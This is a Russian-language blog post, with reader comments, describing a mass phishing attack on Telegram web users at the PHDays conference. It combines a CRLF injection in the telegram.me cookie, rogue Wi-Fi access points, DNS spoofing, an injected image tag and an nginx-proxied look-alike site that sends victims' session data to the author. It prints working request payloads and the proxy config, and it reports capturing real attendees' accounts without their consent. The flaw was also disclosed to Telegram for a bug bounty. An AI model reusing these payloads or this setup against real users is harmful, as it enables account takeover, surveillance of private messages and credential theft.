Skip to main content

Массовый взлом telegram на PHDays

By 21 мая 201620 июня, 2016Blog

Привет-привет!

Что такое telegram? Лично для меня, это самый настоящий прорыв среди месседжеров. Он реально удобный, кроссплатформенный, современный и безопасный. Все время развивается и улучшается, просто нет слов, чтобы передать радость от его использования! Каналы, боты, группы — это про него.

Даже если ты по каким-либо причинам не можешь установить (прекрасный) клиент, можешь воспользоваться официальной web-версией прямо в браузере! И сообщения там летают не открытым текстом, что даже при наличии установленных в операционную систему корневых сертификатах спецслужб затруднит перехват сообщений.

Помимо официального клиентов активно используется домен telegram.me. Он служит как ссылка на контакт, инвайт-ссылка для добавления в группу или канал (например мой), через него также можно добавить стикеры. Если пользователь аутентифицирован в веб-клиенте, то там присутствует кука stel_web_auth, которая отвечает, на какой домен перенаправлять пользователя.

Вот примеры запроса к telegram.me с кукой:

Запрос

GET /i_bo0om HTTP/1.1
Host: telegram.me
Cookie: stel_web_auth=localhost

Ответ

HTTP/1.1 302 Found
Server: nginx/1.6.2
Date: Thu, 19 May 2016 22:02:23 GMT
Content-Type: text/html; charset=windows-1251
Content-Length: 0
Connection: keep-alive
Set-Cookie: stel_ssid=823678114; path=/
Pragma: no-cache
Cache-control: no-store
Location: localhost#/im?tgaddr=tg%3A%2F%2Fresolve%3Fdomain%3Di_bo0om
Strict-Transport-Security: max-age=15768000

Стоит заметить, что в куке присутствует возможность вставить \r\n символы, что позволяет подделать заголовки ответов от сервера, или, например, целый HTTP-пакет. А это ведет как минимум к XSS (привет Internet Explorer).

Обычно, в случае CRLF для демонстрации уязвимости ставят заголовок Set-cookie, который устанавливает куку. Но у меня CRLF инъекция уже через куку, поэтому обойдусь :))

Вот пример подделки заголовков:

Запрос

GET /i_bo0om HTTP/1.1
Host: telegram.me
Cookie: stel_web_auth=localhost%0d%0a%20Header1%3a%20ok%0d%0a%20Header2%3a%20ok%0d%0a%20other:%20

Ответ

HTTP/1.1 302 Found
Server: nginx/1.6.2
Date: Thu, 19 May 2016 22:23:31 GMT
Content-Type: text/html; charset=windows-1251
Content-Length: 0
Connection: keep-alive
Set-Cookie: stel_ssid=1297301663; path=/
Pragma: no-cache
Cache-control: no-store
Location: localhost
Header1: ok
Header2: ok
other: #/im?tgaddr=tg%3A%2F%2Fresolve%3Fdomain%3Di_bo0om
Strict-Transport-Security: max-age=15768000

Об этой особенности (и некоторых других) я писал разработчикам еще 2-го марта. Ну это каким тяжелым наркоманом надо быть, чтобы использовать Telegram в Internet Explorer’е (еще и в старом)?
Заметь, что присутствует заголовок Strict-Transport-Security, что не позволяет добраться до заветной печеньки, если пытаешься использовать MiTM-атаку (человек посередине), несмотря на то, что у куки нет флага Secure. Значит куку можно поставить с помощью XSS (нет флага HttpOnly), но я её так сходу не нашёл.

И тут я вспомнил про одну особенность современных веб-приложений. Поддомен (blabla.telegram.me) может поставить cookie на главный домен (telegram.me). Получится, конечно, не open redirect, а хитрое перенаправление на чужой домен, при использовании домена telegram.me

Для этого, мне нужно:

  1. Раздать свою Wi-Fi точку.
  2. Перенаправлять пользователей на несуществующий поддомен, который ставит куку.
  3. Заставить пользователя зайти на мой поддомен. С учетом первого шага — легко.

Когда пользователю кинут ссылку на приглашение, например, в группу — его перенаправит на фейковое приложение. Пробуем? Поехали!

Готовим фейк

Воспользовавшись утилитой urlcrazy я сгенерировал свободные домены подходящие для фейка. Отлично подошёл telergam.org. Телеграм достаточно сложное слово, чтобы можно было не заметить смену двух моноширных согласных посередине.

Взял облачный сервер на месяц и сделал фейк. Ну как сделал фейк. Я воспользовался проксированием с помощью nginx (привет @sergeybelove). Используя модуль proxy_pass можно настроить проксирование всех запросов на другой сайт, таким образом зашедший на мой ресурс видел содержимое другого сайта, целиком и полностью, включая изменения в реальном времени.

Вот полный конфиг «фейка» главного сайта telegram:

server {
listen 80; # слушаем 80 порт
server_name telergam.org; #на какой домен откликаемся
location / {
proxy_pass https://telegram.org; #проксируем сайт телеграма
}

А ещё используя модуль sub_filter можно заменять содержимое строки на произвольную. По образу и подобию было настроено проксирование на web.telegram, с некоторыми поправками — клиент отправлял на мой сервер текущий идентификатор сессии (и прочие данные из localStorage), номер телефона, браузер.

Что еще нужно для хорошей жизни? SSL! Ну продвинутые пользователи сразу заподозрят неладное, а присутствие «зеленого замочка» прибавляет к харизме фейку.

Поэтому регистрируем бесплатный аккаунт на cloudflare и получаем возможность закрыть от чужих глаз ip адрес сервера и заветный замочек 🙂

Теперь попробуй найти 10 отличий:

Но если посмотреть исходник, то там будет лишний js, который и отправляет данные жертвы на подконтрольный сервер

Positive Hack Days

Не так давно, на конференции ZeroNights я уже игрался с MiTM’ом, раздавая «бесплатный Wi-Fi», подрезая SSL и собирая трафик. На этот раз дамп трафика мне был уже неинтересен, поэтому основной целью была раздача волшебных печенек в браузеры пользователей.

Шаг 1. Wi-Fi

У нас было 2 wi-fi pineapple, 4500 потенциальных жертв, 3 альфы, несколько 8 dbi антенн и целое множество Wi-Fi карточек всех сортов и расцветок, а также MITMf, DNSspoof, Mana Toolkit, strip-n-inject и проксирующий сервак с фейковым dns-сервером. Не то что бы это был необходимый запас для поездки. Но если начал собирать оборудование для MITM’а, становится трудно остановиться. Единственное что вызывало у меня опасение — это BeEF. Нет ничего более беспомощного, безответственного и испорченного, чем XSS зомби. Я знал, что рано или поздно мы перейдем и на эту дрянь.

На помощь приходят «ананасы», это специальные устройства для атак с помощью поддельной Wi-Fi точки. На конференции было два этажа, а хотелось покрыть максимальное количество людей. К тому же раздавался официальный Wi-Fi с SSID «PHD», поэтому оставалось только запитать устройство. Отлично подошла розетка и место под столом на первом этаже.

Ананасу помощнее, на втором этаже, повезло больше — ему достался ethernet-кабель, поэтому раздавался быстрый и стабильный интернет. «Альфа» с ноутбуком (эту же пару я использовал на ZeroNights) кочевала со мной. Вдобавок, я хотел приспособить mr3040 с OpenWRT, но из-за количества людей и малой мощности я оставил эту идею.

Ещё из Питера привезли мощный роутер Xiaomi, но из-за нехватки времени на прошивку/настройку он так и остался лежать в коробке. Тем более покрытие было уже достаточным для успешной атаки.

Шаг второй. DNS

Задача — записать куку на telegram.me, поэтому на сервере я создал поддомен i.telegram.me и отвечал на любой запрос установкой куки (без контента). Думаю, отдавать DNS с помощью DHCP смысла не много, но на всякий случай поставил unbound и открыл его миру (чтобы подключались). Сразу после PHDays пришла абуза, кто-то успел засканить dns и DDoS’ил им .gov сайты.

Еще были использованы утилиты DNSMasqSpoof и DNSspoof. Первый вариант почему-то глючно работал, поэтому остался последний.

Шаг третий. Инъекция

На этот раз использовать sslstrip/sslsplit/hsts bypass не нужно. Да и зачем палиться? Чуть что, браузер начнет кричать на невалидность сертификата, а надо, чтоб он пользовался интернетом. При сёрфинге жертва скорее всего перейдет на http ресурс, а я тут как тут. Поэтому вконец документа вставлялся тег

<img src="http://i.telegram.me/" onerror=remove()>

Все просто — отправляется GET-запрос на несуществующий домен, но фейковый DNS отвечает нужным мне IP-адресом, в ответ от фейкового домена приходит заголовок с установкой cookie. Так как тег — изображение, срабатывает событие onerror и тег удаляется.
Ребята из Hardware Village преложили делать инъекцию BeEf’а, чтобы полностью контролировать браузер жертвы, потом выводить на телике кто попался (да-да, как на конференции BlackHat). Не было времени, но в следующий раз надо заняться.

Запрос

GET / HTTP/1.1
Host: i.telegram.me
Accept: */*

Ответ

HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Fri, 20 May 2016 22:12:39 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: stel_web_auth=https%253A%252F%252Fweb.telergam.org%252F; expires=Sat, 20-May-2017 22:12:39 GMT; Max-Age=31536000; domain=.telegram.me

В результате, если пользователь зайдет на любой HTTP сайт используя мой Wi-Fi, его браузер будет «заражённым», и когда он будет переходить по ссылкам telegram.me — его будет перенаправлять на фейковую страницу аутентификации.

Результаты

А вот результаты я ожидал получше…
В первый день активной атаки (когда на конференции находится максимум народа) — никого. Никто не зашел. В середине конференции несколько внимательных зашли на страницы сниффера, полазили по фейкограму. Ближе к ночи был один вход. Ну хоть так…

Ещё один вход был пол второго ночи, его можно так же засчитать за первый день.

На второй день я пошел перепроверять оборудование, все ли работает как надо? Я пробовал сам запускать браузер — всё круто, кука ставится, telegram.me редиректит, лог входа пишется. Пару часов сидел и перепроверял, в чем же может быть проблема. Народ цеплялся. Большинство было с мобильных устройств, но и ноутбуки охотно подключались. На Hardware Village к инъекции был запущен mitmf (с respoder’ом), на всякий случай. Опять два входа и опять ночью.

Следующий день был рабочий. На выходные я решил написать эту статью, мол, ребятки, вот потенциальный способ массового взлома телеграм. Нет ничего хуже несбывшихся надежд. Вечером захотел убить сервак… Но…
Увидел в логах 13 входов в фейкограм в течении всего дня (первый в 12:22, последний в 18:29).
Отлично! Способ работает в долгосрочной перспективе, ведь никто не знает, когда пользователь воспользуется ссылкой! Куку я ставил на год, так что не удивлюсь, что кто-нибудь зайдет когда-нибудь зимой.

20 мая (два дня с конференции) — три входа

21 мая (на момент написания статьи) — ещё три

Выводы

Плюсы:

  • Помните, когда сломали telegram журналистов? Там было очень явное палево — IP адреса взломщика, ведь telegram сообщает, с какого IP происходит вход. В этом случае IP адрес будет совпадать с адресом жертвы. А так как мы контролируем сам клиент, мы имеем доступ к переписке и возможность выполнять любые действия от имени жертвы.
  • Даже если стоит двухфакторная аутентификация — не поможет.
  • Кнопку выхода можем заменить на уничтожении сессионного идентификатора только на стороне жертвы, тем самым наблюдать за перепиской всё время, пока жертва не уничтожит активные сессии в настройках.
  • Способ можно модифицировать и улучшить

Минусы:

  • Пользователь вовсе может не зайти. Из 4500 человек на хакерской конференции пробив был менее 1%.
  • Естественно, доступ к секретным чатам мы не получим.
  • На невнимательных пользователей. Но лично я — не заметил бы.
  • Если пользователь аутентифицируется в официальном веб-клиенте, кука перезапишется.

И всё же, telegram остается одним из самых лучших (и безопасных) месседжеров.

Ребята, чьи аккаунты я захватил: все делалось в рамках исследования, сообщения прочитаны не были, собранные данные будут уничтожены вместе с сервером.

Ещё увидимся 😉

P.S. Ребята из telegram, если вдруг увидите: сделайте плиз «избранное» контактов и чатов, чтоб не терялись. Спасибо!

UPD: со мной связались представители telegram, нашли мартовское письмо с багами (попало в спам). Попросили реквизиты для оплаты bugbounty 🙂

Join the discussion 19 комментариев

  • AsTx:

    Что-то хренью попахивает.
    Толку от кук с web.telegram.org нет.
    Все данные для авторизации(authkey, session hash) хранятся в local storage браузера.
    И даже если кто-то введет свой телефон. Вам все еще необходимо реализовать отправку пакета с получение кода.
    Оттуда выдернуть хеш, получить код от пользователя. И только потом вы сможете использовать этот auth key(кстати, только со своим клиентом TG, либо разобрать хранилище существующих).
    Итого — никакого взлома нет, а заголовок больше похож на желтуху.

    • >Толку от кук с web.telegram.org нет

      Согласен, но я ничего не говорил про куки web.

      >Все данные для авторизации(authkey, session hash) хранятся в local storage браузера.

      А то! Вот я их себе отправил. Собственно, могу выполнить любые действия на стороне пользователя.

      >И даже если кто-то введет свой телефон. Вам все еще необходимо реализовать отправку пакета с получение кода.
      Оттуда выдернуть хеш, получить код от пользователя. И только потом вы сможете использовать этот auth key(кстати, только со своим клиентом TG, либо разобрать хранилище существующих).

      Что? Зачем?) Так может зайдёшь?)

      >Итого — никакого взлома нет
      Итого — прост человек не разобрался 🙁

      • AsTx:

        Итак, в статье я не увидел абсолютно ничего про вытаскивание данных из local storage.

        >>На стороне пользователя
        Серьезно? Тоже не увидел ни одного пункта по этому поводу.

        Так сейчас и зайду:)

  • AsTx:

    Хеш, который возвращется на запрос кода авторизации в студию:)

    • >в статье я не увидел абсолютно ничего про вытаскивание данных из local storage.

      Внимательнее 🙂
      Это делается одной строчкой.

      >Серьезно? Тоже не увидел ни одного пункта по этому поводу.

      Достаточно посмотреть на исходник фейка. На всякий случай отписал на указанную почту.

      >Так сейчас и зайду:)
      >Хеш, который возвращется на запрос кода авторизации в студию:)

      Можно протестировать на сервисах вида (onlinesim.ru).

      • AsTx:

        Я только что ввел свой номер. Сделал запрос на сервак телеграма для получения хэша, который клиент должен предоставить при введении кода аутентификации.

  • AsTx, да зайди ты уже наконец!)
    Я отправляю данные после входа)

  • AsTx:

    Побеседовали:)
    Да, действительно отправляется localstorage.
    Но в текущей конфигурации получить сообщения можно только спалив свой IP, который будет отображаться в списке сессий.
    Можно слушать события app.js, в таком случае можно будет получать данные из пакетов TG, но это уже будет слегка геморно.

    Назвать это взломом телеграма тяжело, скорее фишингом:)

    • Не могу не согласиться. Взлом аккаунтов телеграма через фишинг-атаку (используя некоторые особенности логики работы телеграмма) 🙂

      Возможно сжелтил с заголовком, ну да ладно…

  • wex:

    Что за чудная панель со списком клиентов?

  • Crazy mom:

    А если просто подмену dns с основного сайта сделать и через nginx проксирование? Или все ради https?

    • Не совсем понял… Dns фейковый был для того, чтобы раздать куку. Кука — чтоб перенаправляла на фейк. Прокси-nginx, чтоб не делать кривой фейк.

  • doctopspam:

    а можно с помощью sub_filter заменить содержимое не в HTML-документе, а ВО ВНЕШНЕМ javascripte ?

  • DjCrazy:

    Добрый день! не совсем понятно, а каким образом юзеры при посещения любого http ресурса переадресовываются на i.telegram.me?

Leave a Reply